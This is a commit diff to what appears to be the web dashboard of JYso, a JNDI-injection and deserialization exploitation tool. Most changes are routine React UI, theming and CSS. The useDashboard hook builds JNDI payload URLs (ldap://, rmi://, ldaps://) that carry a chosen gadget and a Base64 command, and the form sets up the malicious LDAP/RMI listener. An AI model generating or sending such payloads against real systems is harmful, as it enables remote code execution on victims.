mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
修复加载自定义类bug
This commit is contained in:
@@ -120,6 +120,4 @@ java.sourceCompatibility = JavaVersion.VERSION_1_8
|
|||||||
|
|
||||||
compileJava {
|
compileJava {
|
||||||
options.compilerArgs << '-XDignore.symbol.file'
|
options.compilerArgs << '-XDignore.symbol.file'
|
||||||
options.fork = true
|
|
||||||
options.forkOptions.executable = '/Users/qi4l/env/amazon-corretto-8.jdk/Contents/Home/bin/javac'
|
|
||||||
}
|
}
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 365 KiB |
@@ -9,7 +9,11 @@ export default function App() {
|
|||||||
<Routes>
|
<Routes>
|
||||||
<Route path="/" element={<Navigate to="/dashboard" replace />} />
|
<Route path="/" element={<Navigate to="/dashboard" replace />} />
|
||||||
<Route path="/login" element={<Login />} />
|
<Route path="/login" element={<Login />} />
|
||||||
<Route path="/user-info" element={<UserInfo />} />
|
<Route path="/user-info" element={
|
||||||
|
<ProtectedRoute>
|
||||||
|
<UserInfo />
|
||||||
|
</ProtectedRoute>
|
||||||
|
} />
|
||||||
<Route path="/dashboard" element={
|
<Route path="/dashboard" element={
|
||||||
<ProtectedRoute>
|
<ProtectedRoute>
|
||||||
<Dashboard />
|
<Dashboard />
|
||||||
|
|||||||
@@ -1,97 +0,0 @@
|
|||||||
import { useEffect, useRef } from 'react'
|
|
||||||
import { useTheme } from '../context/ThemeContext'
|
|
||||||
|
|
||||||
export default function AnimatedBackground() {
|
|
||||||
const { theme } = useTheme()
|
|
||||||
const canvasRef = useRef(null)
|
|
||||||
const mouseRef = useRef({ x: 0.5, y: 0.5 })
|
|
||||||
const rafRef = useRef(null)
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
const canvas = canvasRef.current
|
|
||||||
if (!canvas) return
|
|
||||||
const ctx = canvas.getContext('2d')
|
|
||||||
let width, height
|
|
||||||
let time = 0
|
|
||||||
|
|
||||||
function resize() {
|
|
||||||
const dpr = Math.min(window.devicePixelRatio || 1, 2)
|
|
||||||
width = window.innerWidth
|
|
||||||
height = window.innerHeight
|
|
||||||
canvas.width = width * dpr
|
|
||||||
canvas.height = height * dpr
|
|
||||||
canvas.style.width = width + 'px'
|
|
||||||
canvas.style.height = height + 'px'
|
|
||||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
|
||||||
}
|
|
||||||
resize()
|
|
||||||
window.addEventListener('resize', resize)
|
|
||||||
|
|
||||||
function onMouseMove(e) {
|
|
||||||
mouseRef.current.x = e.clientX / width
|
|
||||||
mouseRef.current.y = e.clientY / height
|
|
||||||
}
|
|
||||||
window.addEventListener('mousemove', onMouseMove)
|
|
||||||
|
|
||||||
const blobs = [
|
|
||||||
{ x: 0.25, y: 0.30, r: 0.44, sx: 0.12, sy: 0.08, color: theme === 'dark' ? '90, 40, 255' : '50, 80, 255', phase: 0 },
|
|
||||||
{ x: 0.70, y: 0.25, r: 0.38, sx: 0.10, sy: 0.11, color: theme === 'dark' ? '255, 30, 180' : '255, 60, 180', phase: 1.5 },
|
|
||||||
{ x: 0.50, y: 0.70, r: 0.46, sx: 0.09, sy: 0.10, color: theme === 'dark' ? '20, 140, 255' : '30, 200, 230', phase: 3 },
|
|
||||||
{ x: 0.80, y: 0.55, r: 0.34, sx: 0.11, sy: 0.09, color: theme === 'dark' ? '255, 140, 30' : '255, 150, 40', phase: 4.5 },
|
|
||||||
{ x: 0.20, y: 0.75, r: 0.36, sx: 0.10, sy: 0.12, color: theme === 'dark' ? '30, 220, 160' : '50, 230, 140', phase: 2 },
|
|
||||||
]
|
|
||||||
|
|
||||||
function draw() {
|
|
||||||
time += 0.0035
|
|
||||||
ctx.clearRect(0, 0, width, height)
|
|
||||||
|
|
||||||
const mx = mouseRef.current.x
|
|
||||||
const my = mouseRef.current.y
|
|
||||||
|
|
||||||
blobs.forEach(blob => {
|
|
||||||
const bx = width * (blob.x + Math.sin(time + blob.phase) * blob.sx)
|
|
||||||
const by = height * (blob.y + Math.cos(time * 0.7 + blob.phase) * blob.sy)
|
|
||||||
const br = Math.min(width, height) * blob.r
|
|
||||||
|
|
||||||
const parallaxX = (mx - 0.5) * 30
|
|
||||||
const parallaxY = (my - 0.5) * 30
|
|
||||||
|
|
||||||
const gradient = ctx.createRadialGradient(
|
|
||||||
bx + parallaxX, by + parallaxY, 0,
|
|
||||||
bx + parallaxX, by + parallaxY, br
|
|
||||||
)
|
|
||||||
|
|
||||||
const alpha = theme === 'dark' ? 0.22 : 0.40
|
|
||||||
gradient.addColorStop(0, `rgba(${blob.color}, ${alpha})`)
|
|
||||||
gradient.addColorStop(0.5, `rgba(${blob.color}, ${alpha * 0.35})`)
|
|
||||||
gradient.addColorStop(1, `rgba(${blob.color}, 0)`)
|
|
||||||
|
|
||||||
ctx.fillStyle = gradient
|
|
||||||
ctx.fillRect(0, 0, width, height)
|
|
||||||
})
|
|
||||||
|
|
||||||
rafRef.current = requestAnimationFrame(draw)
|
|
||||||
}
|
|
||||||
|
|
||||||
rafRef.current = requestAnimationFrame(draw)
|
|
||||||
|
|
||||||
return () => {
|
|
||||||
window.removeEventListener('resize', resize)
|
|
||||||
window.removeEventListener('mousemove', onMouseMove)
|
|
||||||
cancelAnimationFrame(rafRef.current)
|
|
||||||
}
|
|
||||||
}, [theme])
|
|
||||||
|
|
||||||
return (
|
|
||||||
<canvas
|
|
||||||
ref={canvasRef}
|
|
||||||
style={{
|
|
||||||
position: 'fixed',
|
|
||||||
top: 0,
|
|
||||||
left: 0,
|
|
||||||
zIndex: -1,
|
|
||||||
pointerEvents: 'none',
|
|
||||||
}}
|
|
||||||
/>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
export default function ConfigForm({ config, onChange }) {
|
||||||
|
function update(field, value) {
|
||||||
|
onChange({ ...config, [field]: value })
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="config-form">
|
||||||
|
<div className="form-group">
|
||||||
|
<label>IP Address</label>
|
||||||
|
<input type="text" value={config.ip}
|
||||||
|
onChange={e => update('ip', e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>LDAP Port</label>
|
||||||
|
<input type="number" value={config.ldapPort}
|
||||||
|
onChange={e => update('ldapPort', parseInt(e.target.value) || 1389)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>LDAPS Port</label>
|
||||||
|
<input type="number" value={config.ldapsPort}
|
||||||
|
onChange={e => update('ldapsPort', parseInt(e.target.value) || 1669)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>HTTP Port</label>
|
||||||
|
<input type="number" value={config.httpPort}
|
||||||
|
onChange={e => update('httpPort', parseInt(e.target.value) || 3456)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>RMI Port</label>
|
||||||
|
<input type="number" value={config.rmiPort}
|
||||||
|
onChange={e => update('rmiPort', parseInt(e.target.value) || 1099)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>AES Key</label>
|
||||||
|
<input type="text" value={config.AESkey}
|
||||||
|
onChange={e => update('AESkey', e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>LDAP User</label>
|
||||||
|
<input type="text" value={config.user} placeholder="ldap bind account"
|
||||||
|
onChange={e => update('user', e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>LDAP Password</label>
|
||||||
|
<input type="password" value={config.PASSWD} placeholder="ldap bind password"
|
||||||
|
onChange={e => update('PASSWD', e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>JKS Key Password</label>
|
||||||
|
<input type="password" value={config.keyPass} placeholder="JKS key password"
|
||||||
|
onChange={e => update('keyPass', e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>JKS Cert File</label>
|
||||||
|
<input type="text" value={config.certFile} placeholder="/path/to/cert.jks"
|
||||||
|
onChange={e => update('certFile', e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group" style={{ gridColumn: 'span 3' }}>
|
||||||
|
<label className="form-group" style={{ marginBottom: 0 }}>
|
||||||
|
<input type="checkbox" checked={config.TLSProxy}
|
||||||
|
onChange={e => update('TLSProxy', e.target.checked)} /> TLS Proxy (LDAPS Port Forwarding)
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
const SearchIcon = () => (
|
||||||
|
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
|
||||||
|
<circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/>
|
||||||
|
</svg>
|
||||||
|
)
|
||||||
|
|
||||||
|
export default function GadgetSelector({ value, onChange, items, searchValue, onSearchChange, open, onOpenChange, selectedGadget, label }) {
|
||||||
|
return (
|
||||||
|
<div style={{ position: 'relative' }}>
|
||||||
|
<div className="form-group input-icon-wrap">
|
||||||
|
<label>{label || 'Gadget'}</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
value={value}
|
||||||
|
placeholder="Type or search..."
|
||||||
|
onFocus={() => onOpenChange(true)}
|
||||||
|
onBlur={() => setTimeout(() => onOpenChange(false), 150)}
|
||||||
|
onChange={e => { onChange(e.target.value); if (onSearchChange) onSearchChange(e.target.value); }}
|
||||||
|
style={{ cursor: 'text' }}
|
||||||
|
/>
|
||||||
|
<span className="input-icon"><SearchIcon /></span>
|
||||||
|
</div>
|
||||||
|
{open && (
|
||||||
|
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
|
||||||
|
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
|
||||||
|
{items.map(g => (
|
||||||
|
<div
|
||||||
|
key={g.name || g}
|
||||||
|
className={'gadget-item' + (selectedGadget === (g.name || g) ? ' selected' : '')}
|
||||||
|
onMouseDown={e => {
|
||||||
|
e.preventDefault()
|
||||||
|
const name = g.name || g
|
||||||
|
onChange(name)
|
||||||
|
if (onSearchChange) onSearchChange(name)
|
||||||
|
onOpenChange(false)
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
{g.name || g}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
import LiquidGlass from 'liquid-glass-react'
|
|
||||||
|
|
||||||
export default function LiquidGlassCard({
|
|
||||||
children,
|
|
||||||
className = '',
|
|
||||||
style = {},
|
|
||||||
...props
|
|
||||||
}) {
|
|
||||||
return (
|
|
||||||
<div className={`liquid-glass-wrapper ${className}`} style={style}>
|
|
||||||
<LiquidGlass
|
|
||||||
cornerRadius={28}
|
|
||||||
displacementScale={48}
|
|
||||||
blurAmount={1.2}
|
|
||||||
saturation={160}
|
|
||||||
aberrationIntensity={1.5}
|
|
||||||
elasticity={0.12}
|
|
||||||
mode="standard"
|
|
||||||
padding="0px"
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
<div className="liquid-glass-inner">
|
|
||||||
{children}
|
|
||||||
</div>
|
|
||||||
</LiquidGlass>
|
|
||||||
</div>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,119 @@
|
|||||||
|
import { useEffect, useRef } from 'react'
|
||||||
|
|
||||||
|
export default function ParticleBackground() {
|
||||||
|
const canvasRef = useRef(null)
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const canvas = canvasRef.current
|
||||||
|
if (!canvas) return
|
||||||
|
const ctx = canvas.getContext('2d')
|
||||||
|
let animationId
|
||||||
|
let particles = []
|
||||||
|
let mouse = { x: null, y: null }
|
||||||
|
|
||||||
|
function resize() {
|
||||||
|
canvas.width = window.innerWidth
|
||||||
|
canvas.height = window.innerHeight
|
||||||
|
}
|
||||||
|
resize()
|
||||||
|
window.addEventListener('resize', resize)
|
||||||
|
|
||||||
|
function handleMouseMove(e) {
|
||||||
|
mouse.x = e.clientX
|
||||||
|
mouse.y = e.clientY
|
||||||
|
}
|
||||||
|
window.addEventListener('mousemove', handleMouseMove)
|
||||||
|
|
||||||
|
class Particle {
|
||||||
|
constructor() {
|
||||||
|
this.x = Math.random() * canvas.width
|
||||||
|
this.y = Math.random() * canvas.height
|
||||||
|
this.size = Math.random() * 2 + 0.5
|
||||||
|
this.speedX = (Math.random() - 0.5) * 0.5
|
||||||
|
this.speedY = (Math.random() - 0.5) * 0.5
|
||||||
|
this.opacity = Math.random() * 0.5 + 0.2
|
||||||
|
}
|
||||||
|
|
||||||
|
update() {
|
||||||
|
this.x += this.speedX
|
||||||
|
this.y += this.speedY
|
||||||
|
|
||||||
|
if (this.x < 0) this.x = canvas.width
|
||||||
|
if (this.x > canvas.width) this.x = 0
|
||||||
|
if (this.y < 0) this.y = canvas.height
|
||||||
|
if (this.y > canvas.height) this.y = 0
|
||||||
|
|
||||||
|
if (mouse.x != null && mouse.y != null) {
|
||||||
|
const dx = mouse.x - this.x
|
||||||
|
const dy = mouse.y - this.y
|
||||||
|
const dist = Math.sqrt(dx * dx + dy * dy)
|
||||||
|
if (dist < 150) {
|
||||||
|
const force = (150 - dist) / 150
|
||||||
|
this.x -= dx * force * 0.02
|
||||||
|
this.y -= dy * force * 0.02
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
draw() {
|
||||||
|
ctx.beginPath()
|
||||||
|
ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2)
|
||||||
|
ctx.fillStyle = `rgba(255, 255, 255, ${this.opacity})`
|
||||||
|
ctx.fill()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function init() {
|
||||||
|
particles = []
|
||||||
|
const count = Math.min(Math.floor((canvas.width * canvas.height) / 12000), 80)
|
||||||
|
for (let i = 0; i < count; i++) {
|
||||||
|
particles.push(new Particle())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
init()
|
||||||
|
|
||||||
|
function connect() {
|
||||||
|
for (let i = 0; i < particles.length; i++) {
|
||||||
|
for (let j = i + 1; j < particles.length; j++) {
|
||||||
|
const dx = particles[i].x - particles[j].x
|
||||||
|
const dy = particles[i].y - particles[j].y
|
||||||
|
const dist = Math.sqrt(dx * dx + dy * dy)
|
||||||
|
if (dist < 120) {
|
||||||
|
ctx.beginPath()
|
||||||
|
ctx.strokeStyle = `rgba(255, 255, 255, ${0.12 * (1 - dist / 120)})`
|
||||||
|
ctx.lineWidth = 0.5
|
||||||
|
ctx.moveTo(particles[i].x, particles[i].y)
|
||||||
|
ctx.lineTo(particles[j].x, particles[j].y)
|
||||||
|
ctx.stroke()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function animate() {
|
||||||
|
ctx.clearRect(0, 0, canvas.width, canvas.height)
|
||||||
|
particles.forEach(p => { p.update(); p.draw() })
|
||||||
|
connect()
|
||||||
|
animationId = requestAnimationFrame(animate)
|
||||||
|
}
|
||||||
|
animate()
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
cancelAnimationFrame(animationId)
|
||||||
|
window.removeEventListener('resize', resize)
|
||||||
|
window.removeEventListener('mousemove', handleMouseMove)
|
||||||
|
}
|
||||||
|
}, [])
|
||||||
|
|
||||||
|
return (
|
||||||
|
<canvas
|
||||||
|
ref={canvasRef}
|
||||||
|
style={{
|
||||||
|
position: 'absolute',
|
||||||
|
inset: 0,
|
||||||
|
zIndex: 1,
|
||||||
|
pointerEvents: 'none'
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
import CopyButton from './CopyButton'
|
||||||
|
import useTypewriter from '../hooks/useTypewriter'
|
||||||
|
|
||||||
|
function TypewriterPayload({ text }) {
|
||||||
|
const { displayed } = useTypewriter(text, 15, true)
|
||||||
|
return <>{displayed}</>
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function PayloadOutput({ text, style = {} }) {
|
||||||
|
if (!text) return null
|
||||||
|
return (
|
||||||
|
<div className="payload-output" style={{ marginTop: 14, position: 'relative', paddingRight: 42, ...style }}>
|
||||||
|
<TypewriterPayload text={text} />
|
||||||
|
<CopyButton text={text} />
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
export default function ServerStatusCard({ label, port, isRunning, toggling, onClick }) {
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
className={'status-item status-clickable' + (toggling ? ' status-toggling' : '')}
|
||||||
|
onClick={onClick}
|
||||||
|
title={`Click to toggle ${label} server`}
|
||||||
|
>
|
||||||
|
<span className="status-label">{label} ({port})</span>
|
||||||
|
<span className={'status-value ' + (isRunning ? 'status-online' : 'status-offline')}>
|
||||||
|
{isRunning ? 'ONLINE' : 'OFFLINE'}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -1,18 +1,23 @@
|
|||||||
import { createContext, useContext, useEffect } from 'react'
|
import { createContext, useContext, useState, useEffect, useCallback } from 'react'
|
||||||
import { useLocation } from 'react-router-dom'
|
|
||||||
|
|
||||||
const ThemeContext = createContext()
|
const ThemeContext = createContext()
|
||||||
|
|
||||||
export function ThemeProvider({ children }) {
|
export function ThemeProvider({ children }) {
|
||||||
const location = useLocation()
|
const [theme, setTheme] = useState(() => {
|
||||||
const theme = location.pathname === '/login' ? 'dark' : 'light'
|
return localStorage.getItem('jyso_theme') || 'dark'
|
||||||
|
})
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
document.documentElement.setAttribute('data-theme', theme)
|
document.documentElement.setAttribute('data-theme', theme)
|
||||||
|
localStorage.setItem('jyso_theme', theme)
|
||||||
}, [theme])
|
}, [theme])
|
||||||
|
|
||||||
|
const toggleTheme = useCallback(() => {
|
||||||
|
setTheme(prev => prev === 'dark' ? 'light' : 'dark')
|
||||||
|
}, [])
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<ThemeContext.Provider value={{ theme }}>
|
<ThemeContext.Provider value={{ theme, toggleTheme }}>
|
||||||
{children}
|
{children}
|
||||||
</ThemeContext.Provider>
|
</ThemeContext.Provider>
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -103,7 +103,9 @@ export default function useDashboard() {
|
|||||||
try {
|
try {
|
||||||
const res = await getGadgets()
|
const res = await getGadgets()
|
||||||
setGadgets(res.data)
|
setGadgets(res.data)
|
||||||
} catch (e) { /* ignore */ }
|
} catch (e) {
|
||||||
|
console.error('Failed to load gadgets:', e)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function handleToggleServer(server) {
|
async function handleToggleServer(server) {
|
||||||
@@ -113,8 +115,9 @@ export default function useDashboard() {
|
|||||||
if (res.data.success) {
|
if (res.data.success) {
|
||||||
setStatus(res.data.status)
|
setStatus(res.data.status)
|
||||||
}
|
}
|
||||||
} catch (e) { /* ignore */ }
|
} catch (e) {
|
||||||
finally { setToggling(null) }
|
console.error('Failed to toggle server:', e)
|
||||||
|
} finally { setToggling(null) }
|
||||||
}
|
}
|
||||||
|
|
||||||
async function handleSaveConfig() {
|
async function handleSaveConfig() {
|
||||||
@@ -122,8 +125,9 @@ export default function useDashboard() {
|
|||||||
try {
|
try {
|
||||||
await updateConfig(configForm)
|
await updateConfig(configForm)
|
||||||
loadStatus()
|
loadStatus()
|
||||||
} catch (e) { /* ignore */ }
|
} catch (e) {
|
||||||
finally { setLoading(false) }
|
console.error('Failed to save config:', e)
|
||||||
|
} finally { setLoading(false) }
|
||||||
}
|
}
|
||||||
|
|
||||||
async function handleGeneratePayload() {
|
async function handleGeneratePayload() {
|
||||||
@@ -162,8 +166,9 @@ export default function useDashboard() {
|
|||||||
setJndiPayloadResult(`ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
setJndiPayloadResult(`ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
||||||
setRmiPayloadResult(`rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
setRmiPayloadResult(`rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
||||||
setLdapsPayloadResult(`ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
setLdapsPayloadResult(`ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`)
|
||||||
} catch (e) { /* ignore */ }
|
} catch (e) {
|
||||||
finally { setLoading(false) }
|
console.error('Failed to generate JNDI payload:', e)
|
||||||
|
} finally { setLoading(false) }
|
||||||
}
|
}
|
||||||
|
|
||||||
function handleGenerateClassLoader() {
|
function handleGenerateClassLoader() {
|
||||||
@@ -187,8 +192,9 @@ export default function useDashboard() {
|
|||||||
setClassLoaderResult(`ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`)
|
setClassLoaderResult(`ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`)
|
||||||
setRmiClassLoaderResult(`rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`)
|
setRmiClassLoaderResult(`rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`)
|
||||||
setLdapsClassLoaderResult(`ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`)
|
setLdapsClassLoaderResult(`ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`)
|
||||||
} catch (e) { /* ignore */ }
|
} catch (e) {
|
||||||
finally { setLoading(false) }
|
console.error('Failed to generate ClassLoader payload:', e)
|
||||||
|
} finally { setLoading(false) }
|
||||||
}
|
}
|
||||||
|
|
||||||
function logout() {
|
function logout() {
|
||||||
@@ -201,8 +207,9 @@ export default function useDashboard() {
|
|||||||
try {
|
try {
|
||||||
const res = await getLogs(100)
|
const res = await getLogs(100)
|
||||||
setLogLines(res.data.logs || [])
|
setLogLines(res.data.logs || [])
|
||||||
} catch { /* ignore */ }
|
} catch (e) {
|
||||||
finally { setLogLoading(false) }
|
console.error('Failed to fetch logs:', e)
|
||||||
|
} finally { setLogLoading(false) }
|
||||||
}
|
}
|
||||||
|
|
||||||
useEffect(() => { loadStatus(); loadGadgets() }, [])
|
useEffect(() => { loadStatus(); loadGadgets() }, [])
|
||||||
@@ -217,8 +224,9 @@ export default function useDashboard() {
|
|||||||
try {
|
try {
|
||||||
const res = await getFiles()
|
const res = await getFiles()
|
||||||
setFiles(res.data)
|
setFiles(res.data)
|
||||||
} catch { /* ignore */ }
|
} catch (e) {
|
||||||
finally { setFilesLoading(false) }
|
console.error('Failed to fetch files:', e)
|
||||||
|
} finally { setFilesLoading(false) }
|
||||||
}
|
}
|
||||||
|
|
||||||
async function handleDownloadFile(name) {
|
async function handleDownloadFile(name) {
|
||||||
@@ -230,7 +238,9 @@ export default function useDashboard() {
|
|||||||
a.download = name
|
a.download = name
|
||||||
a.click()
|
a.click()
|
||||||
window.URL.revokeObjectURL(url)
|
window.URL.revokeObjectURL(url)
|
||||||
} catch { /* ignore */ }
|
} catch (e) {
|
||||||
|
console.error('Failed to download file:', e)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function handleDeleteFile(name) {
|
async function handleDeleteFile(name) {
|
||||||
@@ -238,7 +248,9 @@ export default function useDashboard() {
|
|||||||
try {
|
try {
|
||||||
await apiDeleteFile(name)
|
await apiDeleteFile(name)
|
||||||
fetchFiles()
|
fetchFiles()
|
||||||
} catch { /* ignore */ }
|
} catch (e) {
|
||||||
|
console.error('Failed to delete file:', e)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function handleDragOver(e) {
|
function handleDragOver(e) {
|
||||||
@@ -250,7 +262,12 @@ export default function useDashboard() {
|
|||||||
function handleDragLeave(e) {
|
function handleDragLeave(e) {
|
||||||
e.preventDefault()
|
e.preventDefault()
|
||||||
e.stopPropagation()
|
e.stopPropagation()
|
||||||
setDragOver(false)
|
const rect = e.currentTarget.getBoundingClientRect()
|
||||||
|
const x = e.clientX
|
||||||
|
const y = e.clientY
|
||||||
|
if (x < rect.left || x > rect.right || y < rect.top || y > rect.bottom) {
|
||||||
|
setDragOver(false)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function handleDrop(e) {
|
function handleDrop(e) {
|
||||||
@@ -280,8 +297,9 @@ export default function useDashboard() {
|
|||||||
if (res.data.success) {
|
if (res.data.success) {
|
||||||
fetchFiles()
|
fetchFiles()
|
||||||
}
|
}
|
||||||
} catch (e) { /* ignore */ }
|
} catch (e) {
|
||||||
finally {
|
console.error('Failed to upload file:', e)
|
||||||
|
} finally {
|
||||||
setUploading(false)
|
setUploading(false)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,34 @@
|
|||||||
|
import { useState, useEffect, useRef } from 'react'
|
||||||
|
|
||||||
|
export default function useTypewriter(text, speed = 30, enabled = true) {
|
||||||
|
const [displayed, setDisplayed] = useState('')
|
||||||
|
const [done, setDone] = useState(false)
|
||||||
|
const indexRef = useRef(0)
|
||||||
|
const textRef = useRef(text)
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!enabled) {
|
||||||
|
setDisplayed(text)
|
||||||
|
setDone(true)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
indexRef.current = 0
|
||||||
|
setDisplayed('')
|
||||||
|
setDone(false)
|
||||||
|
textRef.current = text
|
||||||
|
|
||||||
|
const interval = setInterval(() => {
|
||||||
|
if (indexRef.current < textRef.current.length) {
|
||||||
|
setDisplayed(textRef.current.slice(0, indexRef.current + 1))
|
||||||
|
indexRef.current++
|
||||||
|
} else {
|
||||||
|
setDone(true)
|
||||||
|
clearInterval(interval)
|
||||||
|
}
|
||||||
|
}, speed)
|
||||||
|
|
||||||
|
return () => clearInterval(interval)
|
||||||
|
}, [text, speed, enabled])
|
||||||
|
|
||||||
|
return { displayed, done }
|
||||||
|
}
|
||||||
@@ -141,7 +141,7 @@ code, pre, .mono {
|
|||||||
align-self: stretch;
|
align-self: stretch;
|
||||||
position: relative;
|
position: relative;
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
transition: width var(--transition-fast);
|
transition: width var(--transition-fast), opacity var(--transition-fast), transform var(--transition-fast);
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
}
|
}
|
||||||
@@ -150,6 +150,20 @@ code, pre, .mono {
|
|||||||
width: 60px;
|
width: 60px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.sidebar-hidden {
|
||||||
|
width: 0;
|
||||||
|
border-right: none;
|
||||||
|
overflow: hidden;
|
||||||
|
opacity: 0;
|
||||||
|
transform: translateX(-20px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sidebar-visible {
|
||||||
|
width: 260px;
|
||||||
|
opacity: 1;
|
||||||
|
transform: translateX(0);
|
||||||
|
}
|
||||||
|
|
||||||
.sidebar-content {
|
.sidebar-content {
|
||||||
padding: 20px 16px;
|
padding: 20px 16px;
|
||||||
position: relative;
|
position: relative;
|
||||||
@@ -164,6 +178,30 @@ code, pre, .mono {
|
|||||||
padding: 20px 12px;
|
padding: 20px 12px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.sidebar-trigger-btn {
|
||||||
|
position: fixed;
|
||||||
|
top: 16px;
|
||||||
|
left: 16px;
|
||||||
|
width: 36px;
|
||||||
|
height: 36px;
|
||||||
|
border-radius: 8px;
|
||||||
|
border: none;
|
||||||
|
background: rgba(0, 0, 0, 0.45);
|
||||||
|
color: rgba(255, 255, 255, 0.7);
|
||||||
|
cursor: pointer;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
transition: all var(--transition-fast);
|
||||||
|
z-index: 100;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sidebar-trigger-btn:hover {
|
||||||
|
background: rgba(0, 0, 0, 0.65);
|
||||||
|
color: #FFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
.sidebar-toggle-btn {
|
.sidebar-toggle-btn {
|
||||||
position: absolute;
|
position: absolute;
|
||||||
bottom: 16px;
|
bottom: 16px;
|
||||||
@@ -337,6 +375,10 @@ code, pre, .mono {
|
|||||||
padding: 32px 28px;
|
padding: 32px 28px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.main-content-full {
|
||||||
|
padding-left: 64px;
|
||||||
|
}
|
||||||
|
|
||||||
.header h1 {
|
.header h1 {
|
||||||
font-size: 18px;
|
font-size: 18px;
|
||||||
font-weight: 700;
|
font-weight: 700;
|
||||||
@@ -477,6 +519,22 @@ code, pre, .mono {
|
|||||||
z-index: 0;
|
z-index: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.glass-card::after {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
border-radius: inherit;
|
||||||
|
background: radial-gradient(600px circle at var(--mouse-x, 50%) var(--mouse-y, 50%), rgba(255,255,255,0.06), transparent 40%);
|
||||||
|
pointer-events: none;
